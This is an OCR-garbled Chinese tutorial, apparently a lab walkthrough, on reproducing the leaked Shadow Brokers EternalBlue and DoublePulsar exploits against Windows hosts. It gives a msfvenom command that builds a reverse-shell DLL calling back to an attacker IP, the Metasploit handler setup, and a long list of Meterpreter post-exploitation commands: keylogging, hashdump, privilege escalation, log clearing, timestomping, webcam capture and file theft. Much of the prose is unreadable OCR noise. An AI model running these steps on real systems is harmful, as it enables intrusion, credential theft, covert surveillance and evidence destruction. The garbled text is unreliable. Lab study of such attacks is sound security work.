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Z%t : Win10 64bit (192.168.0.100)

1. ZEPython2.6.6F1Pywin32 [#%4fipy2.6.6kR7A])

2. R¥shadowbroker TEE , BERHIT T
3. EWindows BR T#iE—Misteningposts 343k

IthEBAE » work (D) » shadowbroker-master » shadowbroker-master » windows

~

SR EM HEE it gl
Bin 2017/4/27 T4 2:57
explojts 2017/4/27 T 2:57
fuzzbltihch 2017/9/18 T4 3:58
implants 2017/4/27 T 2:57
lib 2017/4/27 9 2:57
listeningposts 2017/9/18 T4 3:47

4. fgiEE afuzz bund. xmlf§Fuzzy BunchFtE4 , FHREMEMNAIResourcesDirflLogDir&#g

<t :parameter

<t:parameter

5.1&17fb.py , IEEIEST

M2 -

name="ResourcesDir" )
description="Absolute path of the Resources Directory”

type="5tring"
default="cC:\Users/test/Desktop/shadowbroker-master /windows /Resources" />

name="LogDir " www.hackingtutorials.org

description="Absolute path of an Initial Log Directory"”
type="5string" : : : e
default="cC:\Users/test/Desktop/shadowbroker-master /windows/logs"” />

on. exe D

Resources

Z4%t : deepin (192.168.0.104)
LIMSF(EEEFTETIR)


http://dl.download.csdn.net/down11/20161214/4427d87df163abf2655139e7602514f1.zip?response-content-disposition=attachment%3Bfilename%2A%3D%22utf8%27%27python-2.6.6.zip%22&OSSAccessKeyId=9q6nvzoJGowBj4q1&Expires=1505721868&Signature=%2B%2BLNxmXWcCxW%2B9ApjAEnOa5UwS0%3D&user=qq_30918505&sourceid=9710852
http://download.csdn.net/download/luzheng22/2713250
https://github.com/misterch0c/shadowbroker
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F4 - WinXP 32bit ( 445imOFFRL , KEARZEHXIE ) (192.168.0.103 )
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TargetPort :: Port used by the SMB service fo

argetPort [445]

f the DOUBLE PULS!
multiple explo

mAllocations [12]

Target :: Operatir

Target [1]

IEAbEEER0 ( BERHLEXP ) , modeiki®1
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168. 0. 103:445
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FIEBLinux FBOMSFAER—NSIIDLL , copyZEIIKEHHL1 (winl10)

msfvenom -p windows/meterpreter/reverse_tcp -a x86 -platform windows LHOST=192.168.0.104 LPORT=4444 -f dll > shell.dll

E‘i{}] msfconsole



3Kom SuperHack II Logon

RESH

use exploit/multi/handler
set LHOST 192.168.0.104
set LPORT 4444

set payload windows/meterpreter/reverse_tcp

1>2>3>shadowbroker@3i3i2@

copyRIA4ERZAId BTN T

B\ use Doublepulsar , RE%ELEE
Architecture [1]
Set-Arciritecture = 0

Function :: Operation for r to perform
OutputInstall Only output the install shell
Pi
RunDLL

RunShellcode Run rav
Uninstall Remove

Function [2]



inject DLL
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BN exploit , Bz~ NE

ZEEEEHHRERID

sessions -1

EHEIXEYRE

sysinfo
ERBEHRESRER

shell
HANBFRER , PRmRR
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Eternalblue2—RCE (IZfE&@m<HT) ImRFIE , B8

1Z SMB ( ServerMessageBlock ) (HGANHBSZ{HZEO RT3 BUEAME RS , T XXHER )
FINBT (NetBIOSoverTCP/IP ) ( BFSMB Windowstiiik , AT SHFIFTENHZRSS ) §203
WindowsXP,Windows2008R2FIWindows 7 &%z,

ﬁ%HEZQEEQkZ C:\Windows\System32\drivers\srv.sys
iE : srv.sysEWindows RIS, BIMERENARNSIESH,

Eiﬁ@ﬁ : unsignedint__fastcallSrvOs2FeaToNt(intal,inta2)

& ES ©  memmove(v5, (constvoid*) (a2+5+*(_BYTE*)(al+5)),*(_WORD*)(al+6));
call Sr

oNt (_DRORD* al)

TE*) (v3 + 1) + *(_WORD*) (v3 + 2),

(_DWORD) v6

f (#(_DWORD*) (v3 + 0x50) &

Error2(0, 464,

3>MIFR : MSF&RE

apt-get install curl
+
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/ms

chmod 755 msfinstall && \

./msfinstall

#4>HF2 : MSHEHIGHSE

HIREET

[*] Meterpreter session 1 opened (192.168.195.140:4444 -> 192.168.195.139:1051)
XFARXIREBIRRSR LRTHRIRE T MeterpreterfiJShell
sessions -1 FAFEE{REHIRIE

TERIENIDS

{FEEFIETEAN

meterpreter >sessions -i ?

BRNARZEFIDST9:4

meterpreter >sysinfo

ERERRRER

meterpreter > backround

BHBRRES , ElEIMetasploitE5FHRHE

meterpreter > ps

RRBERRSK LAHE

meterpreter > keyscan_start

BIEBIRRARREERA | E1EiEE/gkeyscan_stop
meterpreter > migrate

BiRBMeterpreterBEIB—NHAFE

STRPSTSEBRIHIER | BEIHEID , AREHITMigrate (HFEID)
meterpreter > ipconfig

BT MEREE



meterpreter > getuid

SRENFFRIBRSS BRIE1T

meterpreter > shell

HNERER , SRR

meterpreter > Idletime

BtREE R E T <A A

meterpreter > Hashdump
SHXITTSAMEERERIRE EF—hashiiRus

http://www.objectif-securite.ch/products.php

meterpreter > getsystem
FAEERE  BaRUASYSTEM
meterpreter > clearev

BREERE www.2cto.com
meterpreter > execute (HEWindowsig<
XTSRRI EIE TIZIES

meterpreter > execute

Usage: execute -f file [options]

Executes a command on the remote machine.

OPTIONS:
-H Create the process hidden from view.
-a The arguments to pass to the command.
-C Channelized I/0 (required for interaction).

-d  The 'dummy' executable to launch when using -m.
-f The executable command to run.

-h Help menu.

-i Interact with the process after creating it.

-k Execute process on the meterpreters current desktop

-m Execute from memory.

-s  Execute process in a given session as the session user

-t Execute process with currently impersonated thread token

meterpreter >timetomp

1EBOIH R

meterpreter >timestomp c:\\jzkingl2l.txt -c "09/09/1980 12:12:34" (BBOEBIZERTIE]
meterpreter > timestomp c:\\jzkingl2l.txt -m "01/01/1991 12:12:34" {EXS{HEMATE
meterpreter > timestomp c:\\jzkingl21l.txt -f c:\\RHDSetup.log HI{4FRHDSetup.logEBHEHIZjzking121344
Al meterpreter > download ( S4HIER)

THM @S

PII T ECE THEAYjzking 121 ext 324

meterpreter > download c:\\jzkingl2l.txt

[*] downloading: c:\jzkingl2l.txt -> jzkingl2l.txt

[*] downloaded : c:\jzkingl2l.txt -> jzkingl2l.txt
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Uploadf§<ERDownloadfig Sl |

meterpreter > shutdown

XIABHRTEMN , reboot AEFITEW

meterpreter >screenshot

RENEtREERN , RRAE

meterpreter > uictl enable keyboard [BFIBEWMERREE

meterpreter > uictl disable mouse ZX1FB¥r{ERRIR

enable A3

disable Z£FH

meterpreter > webcam_list

BrERARRGLTIR

meterpreter > webcam_snap

WEERIEGSL | 1HERA

meterpreter > search -d c:\\ -f 1.jpg
HRBRER , C&1 . jpgit
[S1B&Bhttp://blog.sina.com.cn/s/blog_8cc77f5e0101iuwi.html]



http://www.objectif-securite.ch/products.php
http://blog.sina.com.cn/s/blog_8cc77f5e0101iuwi.html

